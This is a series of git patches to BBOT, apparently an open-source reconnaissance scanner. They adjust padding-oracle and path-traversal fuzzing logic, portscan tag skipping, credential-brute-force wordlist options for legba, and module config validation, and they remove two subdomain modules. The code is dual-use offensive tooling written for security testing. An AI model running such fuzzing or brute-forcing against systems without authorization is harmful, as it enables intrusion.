webbrute(BaseModule): } options_desc = { - "wordlist": "Specify wordlist to use when finding directories", + "wordlist": "Specify wordlist to use when finding directories. Accepts a list of URLs/paths to merge multiple wordlists (duplicates are removed).", "lines": "take only the first N lines from the wordlist when finding directories", "max_depth": "the maximum directory depth to attempt to solve", "extensions": "Optionally include a list of extensions to extend the keyword with (comma separated)", diff --git a/bbot/modules/webbrute_shortnames.py b/bbot/modules/webbrute_shortnames.py index dda961c7ef..613d884e38 100644 --- a/bbot/modules/webbrute_shortnames.py +++ b/bbot/modules/webbrute_shortnames.py @@ -28,7 +28,7 @@ class webbrute_shortnames(webbrute): } options_desc = { - "wordlist_extensions": "Specify wordlist to use when making extension lists", + "wordlist_extensions": "Specify wordlist to use when making extension lists. Accepts a list of URLs/paths to merge multiple wordlists (duplicates are removed).", "max_depth": "the maximum directory depth to attempt to solve", "extensions": "Optionally include a list of extensions to extend the keyword with (comma separated)", "find_common_prefixes": "Attempt to automatically detect common prefixes and make additional runs against them", From ceb8cf6b8a69ede93b2b8d6ace9610c90a94af97 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Wed, 20 May 2026 20:56:34 -0400 Subject: [PATCH 684/912] lightfuzz/crypto: catch HttpCompareError in padding_oracle_execute --- bbot/modules/lightfuzz/submodules/crypto.py | 16 ++++++++++------ 1 file changed, 10 insertions(+), 6 deletions(-) diff --git a/bbot/modules/lightfuzz/submodules/crypto.py b/bbot/modules/lightfuzz/submodules/crypto.py index d2a13e87c0..1d28756eb5 100644 --- a/bbot/modules/lightfuzz/submodules/crypto.py +++ b/bbot/modules/lightfuzz/submodules/crypto.py @@ -482,12 +482,16 @@ async def padding_oracle_execute(self, original_data, encoding, block_size, cook for i in range(starting_pos, starting_pos + 254): byte = bytes([i]) probe_value = self.format_agnostic_encode(ivblock + paddingblock[:-1] + byte + datablock, encoding) - oracle_probe = await self.compare_probe( - baseline, - self.event.data["type"], - probe_value, - cookies, - ) + try: + oracle_probe = await self.compare_probe( + baseline, + self.event.data["type"], + probe_value, + cookies, + ) + except HttpCompareError as e: + self.verbose(f"Encountered HttpCompareError during padding oracle probe: {e}") + return False # oracle_probe[0] will be false if the response is different - oracle_probe[1] stores what aspect of the response is different (headers, body, code) if oracle_probe[0] is False and "body" in oracle_probe[1]: # When the server reflects submitted values or reveals decrypted data, every probe will differ in the body. Strip the known probe values from both responses and re-compare. From 2cb2ad6004e16175194046a082283cb6099d1648 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Wed, 20 May 2026 21:11:05 -0400 Subject: [PATCH 685/912] lightfuzz/path: add canary check to suppress search-field FPs --- bbot/modules/lightfuzz/submodules/path.py | 25 +++++++++++++++++++++++ 1 file changed, 25 insertions(+) diff --git a/bbot/modules/lightfuzz/submodules/path.py b/bbot/modules/lightfuzz/submodules/path.py index b189bfa2b0..b051c07682 100644 --- a/bbot/modules/lightfuzz/submodules/path.py +++ b/bbot/modules/lightfuzz/submodules/path.py @@ -163,6 +163,31 @@ async def fuzz(self): self.lightfuzz.waf_yara_rules, doubledot_response.text ) ): + # Canary check: a real path traversal would 404/500 on a random non-existent + # filename, but a search/filter field returns 200 with an empty results page + # for any input. If the canary also returns 200 with a body, it's a search + # field, not a file path handler — break to avoid an FP. + canary_name = self.lightfuzz.helpers.rand_string(10, digits=False) + canary_payload = payloads["doubledot_payload"].replace(probe_value, canary_name) + canary_probe = await self.compare_probe( + http_compare, + self.event.data["type"], + canary_payload, + cookies, + skip_urlencoding=True, + ) + canary_response = canary_probe[3] + canary_is_success = ( + canary_response is not None + and 200 <= canary_response.status_code < 300 + and bool(canary_response.text) + ) + if canary_is_success: + self.debug( + f"Path Traversal canary check failed: random filename also returned " + f"{canary_response.status_code} (likely a search/filter field, not a file path)" + ) + break confirmations += 1 self.verbose(f"Got possible Path Traversal detection: [{str(confirmations)}] Confirmations") # only report if we have 3 confirmations From 151d32c996dd9fe21ecd7740cc24d7acf432520f Mon Sep 17 00:00:00 2001 From: liquidsec Date: Thu, 21 May 2026 10:57:43 -0400 Subject: [PATCH 686/912] add portscan skip_tags option portscan rejects events whose tags match skip_tags (default empty). speculate fills the gap on a per-event basis: when an active portscan is enabled but would_skip(event) is True, speculate emits its configured ports as if no portscanner were present. --- bbot/modules/internal/speculate.py | 19 +++-- bbot/modules/portscan.py | 13 +++ .../module_tests/test_module_nmap_xml.py | 2 +- .../module_tests/test_module_portscan.py | 82 +++++++++++++++++++ .../module_tests/test_module_speculate.py | 2 +- 5 files changed, 111 insertions(+), 7 deletions(-) diff --git a/bbot/modules/internal/speculate.py b/bbot/modules/internal/speculate.py index fb680ab230..fb132e0147 100644 --- a/bbot/modules/internal/speculate.py +++ b/bbot/modules/internal/speculate.py @@ -47,10 +47,11 @@ async def setup(self): scan_modules = [m for m in self.scan.modules.values() if m._type == "scan"] self.open_port_consumers = any("OPEN_TCP_PORT" in m.watched_events for m in scan_modules) # only consider active portscanners (still speculate if only passive ones are enabled) - self.portscanner_enabled = any( - "portscan" in m.flags and "active" in m.flags for m in self.scan.modules.values() + self.portscanner = next( + (m for m in self.scan.modules.values() if "portscan" in m.flags and "active" in m.flags), + None, ) - self.emit_open_ports = self.open_port_consumers and not self.portscanner_enabled + self._always_emit_open_ports = self.open_port_consumers and self.portscanner is None self.range_to_ip = True self.dns_disable = self.scan.config.get("dns", {}).get("disable", False) self.essential_only = self.config.get("essential_only", False) @@ -62,10 +63,18 @@ async def setup(self): except ValueError as e: return False, f"Error parsing ports: {e}" - if not self.portscanner_enabled: + if self.portscanner is None: self.info(f"No portscanner enabled. Assuming open ports: {', '.join(str(x) for x in self.ports)}") return True + def _should_emit_open_ports(self, event): + if not self.open_port_consumers: + return False + if self._always_emit_open_ports: + return True + # fill the gap when an active portscanner is enabled but won't scan this event + return self.portscanner is not None and self.portscanner.would_skip(event) + async def handle_event(self, event): ### BEGIN ESSENTIAL SPECULATION ### # These features are required for smooth operation of bbot @@ -73,7 +82,7 @@ async def handle_event(self, event): # we speculate on distance-1 stuff too, because distance-1 open ports are needed by certain modules like sslcert event_in_scope_distance = event.scope_distance <= (self.scan.scope_search_distance + 1) - speculate_open_ports = self.emit_open_ports and event_in_scope_distance + speculate_open_ports = self._should_emit_open_ports(event) and event_in_scope_distance # generate individual IP addresses from IP range if event.type == "IP_RANGE": diff --git a/bbot/modules/portscan.py b/bbot/modules/portscan.py index 2ae8f09175..62e2a52ac1 100644 --- a/bbot/modules/portscan.py +++ b/bbot/modules/portscan.py @@ -30,6 +30,7 @@ class portscan(BaseModule): "adapter_ip": "", "adapter_mac": "", "router_mac": "", + "skip_tags": "", "module_timeout": 259200, # 3 days } options_desc = { @@ -43,6 +44,7 @@ class portscan(BaseModule): "adapter_ip": "Send packets using this IP address. Not needed unless masscan's autodetection fails", "adapter_mac": "Send packets using this as the source MAC address. Not needed unless masscan's autodetection fails", "router_mac": "Send packets to this MAC address as the destination. Not needed unless masscan's autodetection fails", + "skip_tags": "Comma-separated event tags that will be excluded from scanning (e.g. 'cdn,waf'). speculate will emit assumed-open ports for these instead.", "module_timeout": "Max time in seconds to spend handling each batch of events", } deps_common = ["masscan"] @@ -66,6 +68,7 @@ async def setup(self): self.helpers.parse_port_string(self.ports) except ValueError as e: return False, f"Error parsing ports '{self.ports}': {e}" + self.skip_tags = {t.strip() for t in self.config.get("skip_tags", "").split(",") if t.strip()} # keeps track of individual scanned IPs and their open ports # this is necessary because we may encounter more hosts with the same IP @@ -92,6 +95,16 @@ async def setup(self): self.ipv6_support = False return True + def would_skip(self, event): + if not self.skip_tags: + return False + return bool(self.skip_tags & set(event.tags or ())) + + async def filter_event(self, event): + if self.would_skip(event): + return False, f"event has tag(s) {self.skip_tags & set(event.tags)}, skipping portscan" + return True + async def handle_batch(self, *events): # ping scan if self.ping_scan: diff --git a/bbot/test/test_step_2/module_tests/test_module_nmap_xml.py b/bbot/test/test_step_2/module_tests/test_module_nmap_xml.py index 644cd4e928..3ec65ae959 100644 --- a/bbot/test/test_step_2/module_tests/test_module_nmap_xml.py +++ b/bbot/test/test_step_2/module_tests/test_module_nmap_xml.py @@ -34,7 +34,7 @@ async def setup_after_prep(self, module_test): speculate_module = module_test.scan.modules.get("speculate") if speculate_module: speculate_module.open_port_consumers = True - speculate_module.emit_open_ports = True + speculate_module._always_emit_open_ports = True await module_test.mock_dns( { diff --git a/bbot/test/test_step_2/module_tests/test_module_portscan.py b/bbot/test/test_step_2/module_tests/test_module_portscan.py index 0efd95b40b..85a1caecdd 100644 --- a/bbot/test/test_step_2/module_tests/test_module_portscan.py +++ b/bbot/test/test_step_2/module_tests/test_module_portscan.py @@ -159,3 +159,85 @@ def check(self, module_test, events): ip_events = [e for e in events if e.type == "IP_ADDRESS"] assert len(ip_events) == 1 assert {e.data for e in ip_events} == {"8.8.8.8"} + + +class TestPortscanSkipTags(ModuleTestBase): + targets = ["cloudflare-host.com", "regular-host.com"] + modules_overrides = ["portscan", "speculate", "cloudcheck"] + config_overrides = { + "modules": {"portscan": {"ports": "443", "wait": 1, "skip_tags": "cdn,waf"}}, + "dns": {"minimal": False}, + } + + masscan_output = """{ "ip": "8.8.8.8", "timestamp": "1680197558", "ports": [ {"port": 443, "proto": "tcp", "status": "open", "reason": "syn-ack", "ttl": 54} ] }""" + + async def setup_after_prep(self, module_test): + from bbot.modules.base import BaseModule + + class DummyOpenPortConsumer(BaseModule): + _name = "dummy_open_port_consumer" + watched_events = ["OPEN_TCP_PORT"] + scope_distance_modifier = 10 + accept_dupes = True + + async def setup(self): + self.events = [] + return True + + async def handle_event(self, event): + self.events.append(event) + + consumer = DummyOpenPortConsumer(module_test.scan) + await consumer.setup() + module_test.scan.modules["dummy_open_port_consumer"] = consumer + + # speculate's open_port_consumers is decided during its own setup, before + # we attach the dummy here. Flip it now so the per-event fallback path + # actually runs. + module_test.scan.modules["speculate"].open_port_consumers = True + + # Cloudflare-resolving hostname will get tagged 'waf' (and 'cloudflare') by cloudcheck; + # the other points at a Google IP which is tagged 'cloud' only -> not in skip_tags. + await module_test.mock_dns( + { + "cloudflare-host.com": {"A": ["1.1.1.1"]}, + "regular-host.com": {"A": ["8.8.8.8"]}, + } + ) + + self.syn_scanned = [] + self.syn_runs = 0 + + async def run_masscan(command, *args, **kwargs): + if "masscan" in command[:2]: + targets = open(command[11]).read().splitlines() + yield "[" + self.syn_runs += 1 + self.syn_scanned += targets + yield self.masscan_output + yield "]" + else: + async for line in module_test.scan.helpers.run_live(command, *args, **kwargs): + yield line + + module_test.monkeypatch.setattr(module_test.scan.helpers, "run_live", run_masscan) + + def check(self, module_test, events): + # cloudflare IP was NOT submitted to masscan + assert not any("1.1.1.1" in t for t in self.syn_scanned), ( + f"cloudflare IP leaked into masscan targets: {self.syn_scanned}" + ) + # google IP (non-skip-tagged) WAS submitted to masscan + assert any("8.8.8.8" in t for t in self.syn_scanned), ( + f"non-cdn IP missing from masscan targets: {self.syn_scanned}" + ) + assert self.syn_runs >= 1 + + # speculate emits its OPEN_TCP_PORT fillers as internal events, which don't + # reach output modules. Inspect them directly via the dummy consumer. + consumer_seen = {(str(e.host), e.port) for e in module_test.scan.modules["dummy_open_port_consumer"].events} + assert ("cloudflare-host.com", 80) in consumer_seen + assert ("cloudflare-host.com", 443) in consumer_seen + # the non-skipped host: portscan emitted 443 (real, non-internal), no speculated 80 + assert ("regular-host.com", 443) in consumer_seen + assert ("regular-host.com", 80) not in consumer_seen diff --git a/bbot/test/test_step_2/module_tests/test_module_speculate.py b/bbot/test/test_step_2/module_tests/test_module_speculate.py index fadb55c929..92ed96db68 100644 --- a/bbot/test/test_step_2/module_tests/test_module_speculate.py +++ b/bbot/test/test_step_2/module_tests/test_module_speculate.py @@ -63,7 +63,7 @@ async def handle_event(self, event): # since the dummy module was added after speculate's setup phase speculate_module = module_test.scan.modules["speculate"] speculate_module.open_port_consumers = True - speculate_module.emit_open_ports = True + speculate_module._always_emit_open_ports = True async def setup_before_prep(self, module_test): module_test.blasthttp_mock.add_response( From 2bc1f4ba121ca64aff9f77f9fe6631438fd922bd Mon Sep 17 00:00:00 2001 From: liquidsec Date: Thu, 21 May 2026 13:47:17 -0400 Subject: [PATCH 687/912] preset-validation: hard-fail on legacy options dict; version preload cache --- bbot/core/modules.py | 44 ++++++++++- bbot/test/test_step_1/test_modules_basic.py | 83 +++++++++++++++++++++ 2 files changed, 126 insertions(+), 1 deletion(-) diff --git a/bbot/core/modules.py b/bbot/core/modules.py index 7cda804146..110b5df19a 100644 --- a/bbot/core/modules.py +++ b/bbot/core/modules.py @@ -33,6 +33,12 @@ bbot_code_dir = Path(__file__).parent.parent +# Bump when the preloader's output schema or validation rules change. Folded +# into the per-module cache_key so stale entries from older bbot versions get +# rebuilt instead of silently bypassing new checks. +PRELOAD_CACHE_VERSION = 2 + + _UNEVALUATED = object() @@ -349,7 +355,7 @@ def preload(self, module_dirs=None): module_file = module_file.resolve() # try to load from cache - module_cache_key = (str(module_file), tuple(module_file.stat())) + module_cache_key = (PRELOAD_CACHE_VERSION, str(module_file), tuple(module_file.stat())) preloaded = self.preload_cache.get(module_name, {}) cache_key = preloaded.get("cache_key", ()) if preloaded and module_cache_key == cache_key: @@ -382,6 +388,12 @@ def preload(self, module_dirs=None): preloaded["namespace"] = namespace preloaded["cache_key"] = module_cache_key + except BBOTError as e: + # Intentional, user-facing errors raised from preload_module + # (e.g. the pre-3.0 options-dict migration message). Skip the + # traceback so the message reads cleanly. + log_to_stderr(str(e), level="CRITICAL") + sys.exit(1) except Exception: log_to_stderr(f"Error preloading {module_file}\n\n{traceback.format_exc()}", level="CRITICAL") log_to_stderr(f"Error in {module_file.name}", level="CRITICAL") @@ -563,6 +575,8 @@ def preload_module(self, module_file): options_sensitive: set = set() options_mandatory: set = set() config_source: str | None = None + legacy_options_keyword: str | None = None + legacy_options_line: int | None = None disable_auto_module_deps = False with open(module_file) as f: python_code = f.read() @@ -603,6 +617,15 @@ def preload_module(self, module_file): if not type(class_attr) == ast.Assign: continue + # legacy options/options_desc dict: record so we can fail + # with a migration hint after the walk completes + if legacy_options_keyword is None: + for target in class_attr.targets: + if isinstance(target, ast.Name) and target.id in ("options", "options_desc"): + legacy_options_keyword = target.id + legacy_options_line = class_attr.lineno + break + # module metadata if type(class_attr.value) == ast.Dict: if any(target.id == "meta" for target in class_attr.targets): @@ -664,6 +687,25 @@ def preload_module(self, module_file): if type(class_attr.value.value) == bool: disable_auto_module_deps = class_attr.value.value + # Reject the pre-3.0 options/options_desc dict format. Those dicts are + # silently ignored by the new loader: defaults disappear and setting + # them via -c or YAML emits misleading "did you mean ...?" suggestions + # pointing at unrelated modules. + module_name = module_file.stem + if legacy_options_keyword is not None and config_source is None: + raise BBOTError( + f'Module "{module_name}" ({module_file}:{legacy_options_line}) declares a legacy ' + f"`{legacy_options_keyword}` dict, which is no longer supported in BBOT 3.0+.\n\n" + f"Replace the `options` / `options_desc` dicts with a nested\n" + f"`class Config(BaseModuleConfig)` schema. For example:\n\n" + f" from bbot.core.config.models import BaseModuleConfig, Field\n\n" + f" class {module_name}(BaseModule):\n" + f" ...\n" + f" class Config(BaseModuleConfig):\n" + f' api_key: str = Field("", description="API key", sensitive=True)\n' + f' max_results: int = Field(100, description="Max results to return")\n' + ) + for task in ansible_tasks: if "become" not in task: task["become"] = False diff --git a/bbot/test/test_step_1/test_modules_basic.py b/bbot/test/test_step_1/test_modules_basic.py index ab0259a306..68fe92052d 100644 --- a/bbot/test/test_step_1/test_modules_basic.py +++ b/bbot/test/test_step_1/test_modules_basic.py @@ -541,3 +541,86 @@ async def test_module_loading(bbot_scanner): assert not any(not_async) await scan2._cleanup() + + +def test_legacy_options_dict_rejected(tmp_path): + """A pre-3.0 user module that declares an `options` / `options_desc` dict + instead of a `class Config(BaseModuleConfig)` schema must be rejected at + preload time with a clear migration message. Otherwise the loader would + silently ignore the defaults and the user would never know.""" + from bbot.errors import BBOTError + from bbot.core.modules import MODULE_LOADER + + legacy_mod = tmp_path / "legacy_user_mod.py" + legacy_mod.write_text( + """ +from bbot.modules.base import BaseModule + + +class legacy_user_mod(BaseModule): + watched_events = ["DNS_NAME"] + produced_events = ["FINDING"] + flags = ["passive", "safe"] + meta = {"description": "x", "created_date": "2024-01-01", "author": "@x"} + + options = {"api_key": "", "max_results": 100} + options_desc = {"api_key": "API key", "max_results": "Max results"} + + async def handle_event(self, event): + pass +""" + ) + + with pytest.raises(BBOTError) as excinfo: + MODULE_LOADER.preload_module(legacy_mod) + msg = str(excinfo.value) + assert "legacy_user_mod" in msg + assert "no longer supported" in msg + assert "class Config(BaseModuleConfig)" in msg + + # And a module that declares only options_desc (still legacy) is also rejected. + legacy_mod_desc_only = tmp_path / "legacy_desc_only.py" + legacy_mod_desc_only.write_text( + """ +from bbot.modules.base import BaseModule + + +class legacy_desc_only(BaseModule): + watched_events = ["DNS_NAME"] + produced_events = ["FINDING"] + flags = ["passive", "safe"] + meta = {"description": "x", "created_date": "2024-01-01", "author": "@x"} + + options_desc = {"api_key": "API key"} + + async def handle_event(self, event): + pass +""" + ) + with pytest.raises(BBOTError): + MODULE_LOADER.preload_module(legacy_mod_desc_only) + + # A module with a real `class Config` and NO legacy dict must load cleanly. + new_mod = tmp_path / "new_style_mod.py" + new_mod.write_text( + """ +from bbot.modules.base import BaseModule +from bbot.core.config.models import BaseModuleConfig, Field + + +class new_style_mod(BaseModule): + watched_events = ["DNS_NAME"] + produced_events = ["FINDING"] + flags = ["passive", "safe"] + meta = {"description": "x", "created_date": "2024-01-01", "author": "@x"} + + class Config(BaseModuleConfig): + api_key: str = Field("", description="API key", sensitive=True) + + async def handle_event(self, event): + pass +""" + ) + preloaded = MODULE_LOADER.preload_module(new_mod) + assert preloaded is not None + assert preloaded["config"] == {"api_key": ""} From d23dfd5eb3c94b1239d100051a71abfe0f4af7e8 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Thu, 21 May 2026 15:41:19 -0400 Subject: [PATCH 688/912] Document URL/path validity in legba wordlist descriptions --- bbot/modules/legba.py | 15 +++++++-------- 1 file changed, 7 insertions(+), 8 deletions(-) diff --git a/bbot/modules/legba.py b/bbot/modules/legba.py index 17bb9a4c28..826366c6a1 100644 --- a/bbot/modules/legba.py +++ b/bbot/modules/legba.py @@ -41,15 +41,14 @@ class legba(BaseModule): "version": "1.1.1", } - # All *_wordlist options also accept a list of URLs/paths to merge multiple wordlists (duplicates are removed). options_desc = { - "ssh_wordlist": "Wordlist URL for SSH combined username:password wordlist, newline separated", - "ftp_wordlist": "Wordlist URL for FTP combined username:password wordlist, newline separated", - "telnet_wordlist": "Wordlist URL for TELNET combined username:password wordlist, newline separated", - "vnc_wordlist": "Wordlist URL for VNC password wordlist, newline separated", - "mssql_wordlist": "Wordlist URL for MSSQL combined username:password wordlist, newline separated", - "mysql_wordlist": "Wordlist URL for MySQL combined username:password wordlist, newline separated", - "postgresql_wordlist": "Wordlist URL for PostgreSQL combined username:password wordlist, newline separated", + "ssh_wordlist": "Wordlist for SSH combined username:password, newline separated. Accepts a URL or local file path, or a list of URLs/paths to merge multiple wordlists (duplicates removed).", + "ftp_wordlist": "Wordlist for FTP combined username:password, newline separated. Accepts a URL or local file path, or a list of URLs/paths to merge multiple wordlists (duplicates removed).", + "telnet_wordlist": "Wordlist for TELNET combined username:password, newline separated. Accepts a URL or local file path, or a list of URLs/paths to merge multiple wordlists (duplicates removed).", + "vnc_wordlist": "Wordlist for VNC passwords, newline separated. Accepts a URL or local file path, or a list of URLs/paths to merge multiple wordlists (duplicates removed).", + "mssql_wordlist": "Wordlist for MSSQL combined username:password, newline separated. Accepts a URL or local file path, or a list of URLs/paths to merge multiple wordlists (duplicates removed).", + "mysql_wordlist": "Wordlist for MySQL combined username:password, newline separated. Accepts a URL or local file path, or a list of URLs/paths to merge multiple wordlists (duplicates removed).", + "postgresql_wordlist": "Wordlist for PostgreSQL combined username:password, newline separated. Accepts a URL or local file path, or a list of URLs/paths to merge multiple wordlists (duplicates removed).", "concurrency": "Number of concurrent workers, gets overridden for SSH", "rate_limit": "Limit the number of requests per second, gets overridden for SSH", "version": "legba version", From cd872deb981a8d068a583c25e52e266646ca6558 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Thu, 21 May 2026 17:04:06 -0400 Subject: [PATCH 689/912] Validate wordlist input at top of wordlist() --- bbot/core/helpers/web/web.py | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/bbot/core/helpers/web/web.py b/bbot/core/helpers/web/web.py index 7ce6e429a2..c48a633ac2 100644 --- a/bbot/core/helpers/web/web.py +++ b/bbot/core/helpers/web/web.py @@ -533,12 +533,13 @@ async def wordlist(self, path, lines=None, zip=False, zip_filename=None, **kwarg """ import zipfile + if not path: + raise WordlistError(f"Invalid wordlist: {path}") + # Handle list of wordlists - fetch each and merge into a single order-preserving deduplicated file, # then fall through to the unified truncation logic below if not isinstance(path, (str, Path)): paths = list(path) - if not paths: - raise WordlistError("Wordlist list is empty") all_words = [] for p in paths: f = await self.wordlist(p, **kwargs) @@ -549,8 +550,6 @@ async def wordlist(self, path, lines=None, zip=False, zip_filename=None, **kwarg for word in dict.fromkeys(all_words): f.write(f"{word}\n") else: - if not path: - raise WordlistError(f"Invalid wordlist: {path}") if "cache_hrs" not in kwargs: # 4320 hrs = 180 days = 6 months kwargs["cache_hrs"] = 4320 From cc5d641f1ae333f10fdfac02b34376b1a6e89f1a Mon Sep 17 00:00:00 2001 From: liquidsec Date: Thu, 21 May 2026 17:35:12 -0400 Subject: [PATCH 690/912] remove sitedossier module --- bbot/modules/sitedossier.py | 56 ------- .../module_tests/test_module_sitedossier.py | 151 ------------------ 2 files changed, 207 deletions(-) delete mode 100644 bbot/modules/sitedossier.py delete mode 100644 bbot/test/test_step_2/module_tests/test_module_sitedossier.py diff --git a/bbot/modules/sitedossier.py b/bbot/modules/sitedossier.py deleted file mode 100644 index b4f19b701b..0000000000 --- a/bbot/modules/sitedossier.py +++ /dev/null @@ -1,56 +0,0 @@ -from bbot.modules.templates.subdomain_enum import subdomain_enum - - -class sitedossier(subdomain_enum): - flags = ["safe", "subdomain-enum", "passive"] - watched_events = ["DNS_NAME"] - produced_events = ["DNS_NAME"] - meta = { - "description": "Query sitedossier.com for subdomains", - "created_date": "2023-08-04", - "author": "@TheTechromancer", - } - - base_url = "http://www.sitedossier.com/parentdomain" - max_pages = 10 - - async def handle_event(self, event): - query = self.make_query(event) - async for hostname in self.query(query): - try: - hostname = self.helpers.validators.validate_host(hostname) - except ValueError as e: - self.verbose(e) - continue - if hostname and hostname.endswith(f".{query}") and not hostname == event.data: - await self.emit_event( - hostname, - "DNS_NAME", - event, - abort_if=self.abort_if, - context=f'{{module}} searched sitedossier.com for "{query}" and found {{event.type}}: {{event.pretty_string}}', - ) - - async def query(self, query, parse_fn=None, request_fn=None): - results = set() - base_url = f"{self.base_url}/{self.helpers.quote(query)}" - url = str(base_url) - for i, page in enumerate(range(1, 100 * self.max_pages + 2, 100)): - self.verbose(f"Fetching page #{i + 1} for {query}") - if page > 1: - url = f"{base_url}/{page}" - response = await self.helpers.request(url) - if response is None: - self.info(f'Query "{query}" failed (no response)') - break - if response.status_code == 302: - self.verbose("Hit rate limit captcha") - break - for match in await self.helpers.re.finditer_multi(self.scan.dns_regexes, response.text): - hostname = match.group().lower() - if hostname and hostname not in results: - results.add(hostname) - yield hostname - if ' - - -Parent domain: evilcorp.com - - - - -
    -
    -logo -
    -
    -
    -
    -
    -
    -
    - - - - - - -
    nwne
    -

    Parent domain: evilcorp.com

    -
    - -
    Displaying items 101 to 200, out of a total of 685 -
    -
      -
    1.   http://asdf.evilcorp.com/
      -
    2.   http://zzzz.evilcorp.com/
      -
    -Show next 100 items
    -
    -
    swse
    -
    -
    -
    - - -""" - -page2 = """ - - - - -Parent domain: evilcorp.com - - - - -
    -
    -logo -
    -
    -
    -
    -
    -
    -
    - - - - - - -
    nwne
    -

    Parent domain: evilcorp.com

    -
    - -
    Displaying items 101 to 200, out of a total of 685 -
    -
      -
    1.   http://xxxx.evilcorp.com/
      -
    2.   http://ffff.evilcorp.com/
      -
    -
    -
    swse
    -
    -
    -
    - - -""" - - -class TestSitedossier(ModuleTestBase): - targets = ["evilcorp.com"] - - async def setup_after_prep(self, module_test): - await module_test.mock_dns( - { - "evilcorp.com": {"A": ["127.0.0.1"]}, - "asdf.evilcorp.com": {"A": ["127.0.0.1"]}, - "zzzz.evilcorp.com": {"A": ["127.0.0.1"]}, - "xxxx.evilcorp.com": {"A": ["127.0.0.1"]}, - "ffff.evilcorp.com": {"A": ["127.0.0.1"]}, - } - ) - module_test.blasthttp_mock.add_response( - url="http://www.sitedossier.com/parentdomain/evilcorp.com", - text=page1, - ) - module_test.blasthttp_mock.add_response( - url="http://www.sitedossier.com/parentdomain/evilcorp.com/101", - text=page2, - ) - - def check(self, module_test, events): - assert any(e.data == "asdf.evilcorp.com" for e in events), "Failed to detect subdomain" - assert any(e.data == "zzzz.evilcorp.com" for e in events), "Failed to detect subdomain" - assert any(e.data == "xxxx.evilcorp.com" for e in events), "Failed to detect subdomain" - assert any(e.data == "ffff.evilcorp.com" for e in events), "Failed to detect subdomain" From 24c93791808ef6cd661a44076c54aac968166ea1 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Thu, 21 May 2026 18:34:29 -0400 Subject: [PATCH 691/912] remove passivetotal module --- bbot/modules/passivetotal.py | 46 ------------------- .../module_tests/test_module_passivetotal.py | 23 ---------- 2 files changed, 69 deletions(-) delete mode 100644 bbot/modules/passivetotal.py delete mode 100644 bbot/test/test_step_2/module_tests/test_module_passivetotal.py diff --git a/bbot/modules/passivetotal.py b/bbot/modules/passivetotal.py deleted file mode 100644 index 1010980945..0000000000 --- a/bbot/modules/passivetotal.py +++ /dev/null @@ -1,46 +0,0 @@ -from bbot.modules.templates.subdomain_enum import subdomain_enum_apikey - - -class passivetotal(subdomain_enum_apikey): - watched_events = ["DNS_NAME"] - produced_events = ["DNS_NAME"] - flags = ["safe", "subdomain-enum", "passive"] - meta = { - "description": "Query the PassiveTotal API for subdomains", - "created_date": "2022-08-08", - "author": "@TheTechromancer", - "auth_required": True, - } - options = {"api_key": ""} - options_desc = {"api_key": "PassiveTotal API Key in the format of 'username:api_key'"} - - base_url = "https://api.passivetotal.org/v2" - - async def setup(self): - return await super().setup() - - async def ping(self): - url = f"{self.base_url}/account/quota" - j = (await self.api_request(url, retry_on_http_429=False)).json() - limit = j["user"]["limits"]["search_api"] - used = j["user"]["counts"]["search_api"] - assert used < limit, "No quota remaining" - - def prepare_api_request(self, url, kwargs): - api_username, api_key = self.api_key.split(":", 1) - kwargs["auth"] = (api_username, api_key) - return url, kwargs - - async def abort_if(self, event): - # RiskIQ is famous for their junk data - return await super().abort_if(event) or "unresolved" in event.tags - - async def request_url(self, query): - url = f"{self.base_url}/enrichment/subdomains?query={self.helpers.quote(query)}" - return await self.api_request(url) - - async def parse_results(self, r, query): - results = set() - for subdomain in r.json().get("subdomains", []): - results.add(f"{subdomain}.{query}") - return results diff --git a/bbot/test/test_step_2/module_tests/test_module_passivetotal.py b/bbot/test/test_step_2/module_tests/test_module_passivetotal.py deleted file mode 100644 index ca185cb021..0000000000 --- a/bbot/test/test_step_2/module_tests/test_module_passivetotal.py +++ /dev/null @@ -1,23 +0,0 @@ -from .base import ModuleTestBase - - -class TestPassiveTotal(ModuleTestBase): - config_overrides = {"modules": {"passivetotal": {"api_key": "jon@bls.fakedomain:asdf"}}} - - async def setup_before_prep(self, module_test): - module_test.blasthttp_mock.add_response( - url="https://api.passivetotal.org/v2/account/quota", - match_headers={"Authorization": "Basic am9uQGJscy5mYWtlZG9tYWluOmFzZGY="}, - json={"user": {"counts": {"search_api": 10}, "limits": {"search_api": 20}}}, - ) - module_test.blasthttp_mock.add_response( - url="https://api.passivetotal.org/v2/enrichment/subdomains?query=blacklanternsecurity.com", - match_headers={"Authorization": "Basic am9uQGJscy5mYWtlZG9tYWluOmFzZGY="}, - json={"subdomains": ["asdf"]}, - ) - - async def setup_after_prep(self, module_test): - module_test.monkeypatch.setattr(module_test.scan.modules["passivetotal"], "abort_if", lambda e: False) - - def check(self, module_test, events): - assert any(e.data == "asdf.blacklanternsecurity.com" for e in events), "Failed to detect subdomain" From ae8698358d9198d0908c1ded621d497e37e9a742 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 22 May 2026 09:06:27 -0400 Subject: [PATCH 692/912] crt/crt_db: stop treating transient failures as terminal - crt: override _api_response_is_success so 404 falls back to api_request's retry path instead of being treated as "no data" (crt.sh returns 404/503 transiently when overloaded). Co-authored with @TrebledJ's #3077. - crt_db: reconnect when the asyncpg connection is dropped mid-scan, and bail out via set_error_state on Postgres OutOfMemoryError instead of hammering the upstream. --- bbot/modules/crt.py | 4 ++ bbot/modules/crt_db.py | 32 ++++++--- .../module_tests/test_module_crt_db.py | 72 ++++++++++++++++--- 3 files changed, 88 insertions(+), 20 deletions(-) diff --git a/bbot/modules/crt.py b/bbot/modules/crt.py index 60ea6b6a0c..e977ddccbd 100644 --- a/bbot/modules/crt.py +++ b/bbot/modules/crt.py @@ -23,6 +23,10 @@ async def request_url(self, query): url = self.helpers.add_get_params(self.base_url, params).geturl() return await self.api_request(url, timeout=self.http_timeout + 30) + def _api_response_is_success(self, r): + # crt.sh returns 404/503 transiently; the default treats 404 as "no data" which is wrong here + return getattr(r, "is_success", False) + async def parse_results(self, r, query): results = set() j = r.json() diff --git a/bbot/modules/crt_db.py b/bbot/modules/crt_db.py index 4008394f1d..05c0973ddb 100644 --- a/bbot/modules/crt_db.py +++ b/bbot/modules/crt_db.py @@ -26,15 +26,20 @@ async def setup(self): self.db_conn = None 